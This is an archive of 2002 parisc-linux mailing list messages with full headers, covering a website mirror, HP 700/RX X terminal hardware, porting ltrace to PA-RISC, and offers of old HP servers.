	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14683

Hi all!

http://www.parisc-linux.org is now "in sync" as well!

Many thanks to ESIEE team (thibaut, thomas, clement, others?)
for the many weeks of work they put into this!

This is a big step towards providing local translations of
the web site and merging content of both sites into one!

thanks again!
grant

Thibaut VARENE wrote:
> Hello !
> 
> We are proud to announce that the new French mirror of parisc-linux.org 
> website is now online !
> 
> It will be accessible soon (time of DNS spread) at:
> http://www.fr.parisc-linux.org/
> 
> and at:
> http://parisc-linux.esiee.fr/
> 
> Enjoy !
> 
> We're currently updating both parisc-linux.org and pateam.esiee.fr 
> (formerly mkhppa1) to reflect the new mirroring scheme.
> 
> 
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/


Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 700x?
Date: Thu, 2 May 2002 16:49:34 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <20020502144934.GI5641@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621266 6896 80.91.229.3 (22 Nov 2014 01:54:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 08:49:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BBB6482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 08:49:37 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 50D2A15C02E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 16:49:35 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 1C4DF633B7; Thu,  2 May 2002 16:49:35 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14684

What is a HP 700x (or x700) machine? An X Terminal?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
NT: Insert wallet into drive A: and press any key to empty.




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Thu, 2 May 2002 16:56:26 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20020502145626.GJ5641@charite.de>
References: <20020502144934.GI5641@charite.de> <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621266 6903 80.91.229.3 (22 Nov 2014 01:54:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 08:56:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CB25482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 08:56:28 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 0927415C039
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 16:56:27 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id E69FF633B7; Thu,  2 May 2002 16:56:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14685

Am 02.05.2002 um 10:54:32 -0400 schrieb John David Anglin folgendes:
> > What is a HP 700x (or x700) machine? An X Terminal?
> 
> Yes (700/RX).  In theory, it should be possible to install the software
> to run it under parisc-linux.

Right now I'm thinking of removing the menory from it and stick it
into my 712/80. If possible?!

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Any technology sufficiently advanced is indistinguishable from magic.




From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Thu, 2 May 2002 17:00:35 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 8
Approved: news@gmane.org
Message-ID: <200205021700.35093.helge.deller@sap.com>
References: <20020502144934.GI5641@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621267 6907 80.91.229.3 (22 Nov 2014 01:54:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:27 +0000 (UTC)
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 09:00:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9B90482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 09:00:35 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id RAA29096;
  Thu, 2 May 2002 17:05:30 +0200 (MESZ)
X-Mailer: KMail [version 1.4]
In-Reply-To: <20020502144934.GI5641@charite.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14686

On Thursday 02 May 2002 16:49, Ralf Hildebrandt wrote:
> What is a HP 700x (or x700) machine? An X Terminal?

Yes.

Helge



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Thu, 2 May 2002 11:00:45 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200205021500.g42F0jHV010525@hiauly1.hia.nrc.ca>
References: <20020502145626.GJ5641@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621267 6909 80.91.229.3 (22 Nov 2014 01:54:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf.Hildebrandt@charite.de (Ralf Hildebrandt)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 09:00:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDDF9482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 09:00:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g42F0kFN010537;
	Thu, 2 May 2002 11:00:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g42F0jHV010525;
	Thu, 2 May 2002 11:00:45 -0400 (EDT)
In-Reply-To: <20020502145626.GJ5641@charite.de> from "Ralf Hildebrandt" at May 2, 2002 04:56:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14687

> Am 02.05.2002 um 10:54:32 -0400 schrieb John David Anglin folgendes:
> > > What is a HP 700x (or x700) machine? An X Terminal?
> > 
> > Yes (700/RX).  In theory, it should be possible to install the software
> > to run it under parisc-linux.
> 
> Right now I'm thinking of removing the menory from it and stick it
> into my 712/80. If possible?!

I believe the 700/RX uses standard SIMMs.  The ones I have came with
4MB SIMMs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <maz@wild-wind.fr.eu.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: 02 May 2002 17:00:45 +0200
Organization: Metropolis -- Nowhere
Lines: 11
Approved: news@gmane.org
Message-ID: <wrpd6we61cy.fsf@hina.wild-wind.fr.eu.org>
References: <20020502144934.GI5641@charite.de>
Reply-To: maz@wild-wind.fr.eu.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621267 6912 80.91.229.3 (22 Nov 2014 01:54:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 09:01:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crisis.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6727482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 09:01:28 -0600 (MDT)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by crisis.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 173I38-0004Ow-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 02 May 2002 16:59:14 +0200
Original-Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.35 #1 (Debian))
	id 173I4b-0001dw-00; Thu, 02 May 2002 17:00:45 +0200
X-Attribution: maz
X-Baby-1: =?iso-8859-1?q?Lo=EBn?= 12 juin 1996 13:10
X-Baby-2: None
X-Love-1: Gone
X-Love-2: Crazy-Cat
In-Reply-To: <20020502144934.GI5641@charite.de>
Original-Lines: 9
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14688

>>>>> "Ralf" == Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> writes:

Ralf> What is a HP 700x (or x700) machine? An X Terminal?

This is a (very old) X terminal...

        M.
-- 
Places change, faces change. Life is so very strange.



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 700x?
Date: Thu, 2 May 2002 10:54:32 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200205021454.g42EsWra009574@hiauly1.hia.nrc.ca>
References: <20020502144934.GI5641@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621268 6916 80.91.229.3 (22 Nov 2014 01:54:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf.Hildebrandt@charite.de (Ralf Hildebrandt)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 09:16:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B9DD482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 09:16:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g42EsXFN009577;
	Thu, 2 May 2002 10:54:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g42EsWra009574;
	Thu, 2 May 2002 10:54:32 -0400 (EDT)
In-Reply-To: <20020502144934.GI5641@charite.de> from "Ralf Hildebrandt" at May 2, 2002 04:49:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14689

> What is a HP 700x (or x700) machine? An X Terminal?

Yes (700/RX).  In theory, it should be possible to install the software
to run it under parisc-linux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] wishlist projects, looking for volunteers
Date: Thu, 2 May 2002 18:15:05 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20020502171505.GQ1617@sleepie.demon.co.uk>
References: <20020430062137.GF30370@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621268 6923 80.91.229.3 (22 Nov 2014 01:54:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 11:35:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27017482B
	for <parisc-linux@parisc-linux.org>; Thu,  2 May 2002 11:35:12 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 5BB0B9E96F; Thu,  2 May 2002 18:15:05 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020430062137.GF30370@tausq.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14690

Hi Randolph,

On Mon, Apr 29, 2002 at 11:21:37PM -0700, Randolph Chung wrote:
> ltrace
> - this is a function-call level tracer (as opposed to strace, which is
>   more on the syscall level). The current ltrace source has some
>   assumptions about ELF relocation layout that doesn't work on hppa. It
>   shouldn't be *hard* to fix this if you understand how pa relocation
>   stubs are generated...

Had a bit of a look at this; basically it wants to set breakpoints on
all the stubs for library calls from the target program.  On i386 that's
easy, as the reloc gives you an entry in the .plt, which is an indirect
jmp - so it just sets a breakpoint on that jmp.  The fact that the
loaction it indirects through initially points at the dynamic linker
code, and then is later fixed up to point to the library directly is
irrelevant.

On parisc, our .plt entry is just a function address plus data pointer
pair.  Where the mainline code calls a library function there is a
call to a stub that reads the .plt entry and jumps to the location it
references.  Initially that .plt entry will point at the dynamic linker
code, before being fixed up to reference the library function.

So, ideally we want to set a breakpoint on the stub that references the
.plt entry, but I don't see how we can locate that.  We only have a
reference to the .plt entry address, right?

(a) have I got that basically right?, and
(b) did you have any ideas on how we might make ltrace work?

Cheers,
  Richard




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is it worth keeping a dual CPU K250
Date: Thu, 02 May 2002 15:15:13 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <3CD19041.8080704@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621268 6925 80.91.229.3 (22 Nov 2014 01:54:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:28 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 13:15:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.neuronet.pitt.edu (server1.neuronet.pitt.edu [150.232.128.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EDFE482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 13:15:19 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (white.neuronet.pitt.edu [150.232.130.110])
	by server1.neuronet.pitt.edu (8.8.8/8.8.8) with ESMTP id PAA16581
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 May 2002 15:15:23 -0400 (EDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020312
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14691

Hi,

We have an HP K250 dual 160 MHz CPU machine in one of the rooms here. It 
was never fully used, since the OS media and support costs were very high.

They are considering pitching it. Can one install palinux on this box?

It is extremely noisy and the size of a small refrigerator. Do you think 
it is worth keeping?
-- 
     Rafael




From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Connors <connors@hpltsc.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J class machines available
Date: Thu, 2 May 2002 13:20:19 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020502132019.A14533@hpltsc.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621268 6930 80.91.229.3 (22 Nov 2014 01:54:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  2 14:21:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deimos.hpl.hp.com (deimos.hpl.hp.com [192.6.19.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BB44482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 May 2002 14:21:26 -0600 (MDT)
Original-Received: from hpltsc.hpl.hp.com (hpltsc.hpl.hp.com [15.9.75.135])
	by deimos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id NAA06424
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 May 2002 13:21:25 -0700 (PDT)
Original-Received: (from connors@localhost)
	by hpltsc.hpl.hp.com (8.11.2/8.9.3 HPLabs Workstation) id g42KKJt14538
	for parisc-linux@lists.parisc-linux.org; Thu, 2 May 2002 13:20:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14692

I have 4 J-class machines available for anyone who wants 'em.
I'm in Palo Alto.

-Tim
connors@hpl.hp.com

3 J210
1 J282



From - Thu Nov 08 21:22:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is it worth keeping a dual CPU K250
Date: Thu, 02 May 2002 14:41:13 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020502204113.4746C482B@dsl2.external.hp.com>
References: <3CD19041.8080704@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
